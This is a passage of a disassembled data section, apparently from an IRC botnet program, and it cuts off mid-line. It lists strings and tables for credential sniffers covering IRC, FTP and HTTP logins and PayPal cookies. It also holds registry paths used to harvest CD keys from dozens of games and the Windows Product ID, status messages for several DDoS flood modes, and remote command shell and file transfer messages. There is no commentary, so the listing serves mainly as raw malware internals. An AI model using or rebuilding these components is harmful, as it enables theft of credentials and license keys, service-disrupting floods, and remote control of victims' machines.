6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:004355A4o align 4 off_435E08 dd offset word_505446 ; DATA XREF: ___:004355A0o off_435E0C dd offset dword_435238+11h ; DATA XREF: ___:0043559Co off_435E10 dd offset word_544F42 ; DATA XREF: ___:00435598o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412361+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412361+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412361+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412361+C8o a_login db ':.Login',0 ; DATA XREF: sub_412361+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412361+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412361+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412361+84o a366 db '366 ',0 ; DATA XREF: sub_412361+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412361:loc_4123C3o align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412361+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412361+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412361+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412361+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o aOper db 'oper ',0 ; DATA XREF: sub_412478+51o align 10h aNick_1 db 'NICK ',0 ; DATA XREF: sub_412478:loc_4124B8o ; sub_4124EE+2Bo align 4 aOper_0 db 'OPER ',0 ; DATA XREF: sub_412478+2Bo align 10h aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412478+5o align 4 aPass_1 db 'PASS ',0 ; DATA XREF: sub_4124EE+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124EE+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124EE:loc_41253Fo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124EE+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124EE+5o align 4 aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412575+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412575+62o align 10h aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412575+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412575:loc_4125B5o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412575+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412575+5o align 4 aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FC+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co align 4 aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FC+2Bo align 4 aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FC+5o align 4 unk_436084 db 2Dh ; - ; DATA XREF: sub_412661+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4360BC db 2Dh ; - ; DATA XREF: sub_412661+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4360F4 db 2Dh ; - ; DATA XREF: sub_412661+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_436128 db 2Dh ; - ; DATA XREF: sub_412661+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43615C db 2Dh ; - ; DATA XREF: sub_412661+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_436190 db 2Dh ; - ; DATA XREF: sub_412661+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h unk_4361C0 db 2Dh ; - ; DATA XREF: sub_412661+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_436214 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B09+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_43643C dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386C+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_43682C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415135+35o dword_436840 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415135+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o align 4 dword_436878 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524D:loc_415282o dword_43688C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524D+20o dword_4368A0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:0041536Ao dd 6574656Ch, 0 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BD+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F8+23o ; sub_4157F1+26o align 4 dd 80000001h off_4368EC dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr ; sub_415A30+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_4368F8 dd 2 dup(0) ; DATA XREF: sub_415A30+26o dd 80000001h, 437A7Ch, 437A70h, 437A60h, 2 dup(0) dd 80000001h, 437A40h, 437A3Ch, 437A28h, 2 dup(0) dd 80000001h, 437A04h, 437A3Ch, 4379F8h, 2 dup(0) dd 80000001h, 4379D4h, 4379CCh, 4379B8h, 2 dup(0) dd 80000001h, 4379A4h, 437994h, 437978h, 2 dup(0) dd 80000001h, 437934h, 437ABCh, 437920h, 2 dup(0) dd 80000002h, 4378F4h, 4378E8h, 4378C8h, 2 dup(0) dd 80000002h, 437894h, 437ABCh, 43787Ch, 2 dup(0) dd 80000002h, 437848h, 437ABCh, 437830h, 2 dup(0) dd 80000002h, 437818h, 437ABCh, 437800h, 2 dup(0) dd 80000002h, 4377C4h, 43D808h, 4377B4h, 2 dup(0) dd 80000002h, 43777Ch, 43D808h, 437768h, 2 dup(0) dd 80000002h, 43771Ch, 43D808h, 4376FCh, 2 dup(0) dd 80000002h, 4376ACh, 43D808h, 437680h, 2 dup(0) dd 80000002h, 437644h, 43D808h, 437630h, 2 dup(0) dd 80000002h, 4375F8h, 43D808h, 4375E8h, 2 dup(0) dd 80000002h, 437598h, 43D808h, 43756Ch, 2 dup(0) dd 80000002h, 43752Ch, 43D808h, 437510h, 2 dup(0) dd 80000002h, 4374E0h, 43D808h, 4374C0h, 2 dup(0) dd 80000002h, 437484h, 43D808h, 437470h, 2 dup(0) dd 80000002h, 437428h, 43D808h, 437408h, 2 dup(0) dd 80000002h, 4373B4h, 43D808h, 437384h, 2 dup(0) dd 80000002h, 437334h, 43D808h, 437308h, 2 dup(0) dd 80000002h, 4372C8h, 4372C0h, 4372A0h, 2 dup(0) dd 80000002h, 43725Ch, 43D808h, 437240h, 2 dup(0) dd 80000002h, 4371F4h, 43D808h, 4371D0h, 2 dup(0) dd 80000002h, 43719Ch, 43D808h, 437190h, 2 dup(0) dd 80000002h, 43715Ch, 43D808h, 437150h, 2 dup(0) dd 80000002h, 43711Ch, 43D808h, 437110h, 2 dup(0) dd 80000002h, 4370DCh, 43D808h, 4370D0h, 2 dup(0) dd 80000002h, 437094h, 43D808h, 437080h, 2 dup(0) dd 80000002h, 437044h, 43D808h, 437030h, 2 dup(0) dd 80000002h, 437000h, 437ABCh, 436FE4h, 2 dup(0) dd 80000002h, 436FC4h, 436FBCh, 436F98h, 2 dup(0) dd 80000002h, 436F7Ch, 436FBCh, 436F5Ch, 2 dup(0) dd 80000002h, 436F3Ch, 436FBCh, 436F18h, 2 dup(0) dd 80000002h, 436F00h, 436FBCh, 436EFCh, 2 dup(0) dd 80000002h, 436EE0h, 436ED0h, 436EC8h, 2 dup(0) dd 80000002h, 436E94h, 42C914h, 436E7Ch, 2 dup(0) dd 80000002h, 436E40h, 436E34h, 436E0Ch, 436DFCh, 436DE8h dd 80000002h, 436DC4h, 436DB8h, 436DA4h, 436D94h, 436D8Ch dd 80000002h, 436DC4h, 436DB8h, 436D60h, 436D94h, 436D58h dd 80000002h, 436DC4h, 436DB8h, 436D28h, 436D94h, 436D20h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 10h aSerialnumber db 'SerialNumber',0 align 10h db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset loc_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 10h aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 10h aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 10h aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 10h aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 10h aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 10h aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 10h aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 10h aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 10h aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h aTheGladiators db 'The Gladiators',0 align 10h aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004368F4o aCdkey db 'CDKey',0 ; DATA XREF: ___:004368F0o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4368ECo align 4 asc_437AEC: ; DATA XREF: sub_415A30+E9o ; sub_415A30+F4o unicode 0, <=>,0 dword_437AF0 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A30+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437B6C db 2Dh ; - ; DATA XREF: ___:00415F18o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_437B90 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Do ; ___:00416313o dd 726F72h unk_437BA8 db 2Dh ; - ; DATA XREF: ___:00416115o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_437BD4 db 2Dh ; - ; DATA XREF: ___:0041601Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_437BF8 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE6o dd 74756Fh dword_437C10 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F85o dd 169h unk_437C28 db 2Dh ; - ; DATA XREF: ___:00415F42o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_437C48 db 2Dh ; - ; DATA XREF: ___:00415E9Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437C6C db 2Dh ; - ; DATA XREF: ___:00415E5Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_437C90 db 2Dh ; - ; DATA XREF: ___:0041638Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_437CBC db 2Dh ; - ; DATA XREF: ___:00416288o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_437CDC db 2Dh ; - ; DATA XREF: ___:00416268o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 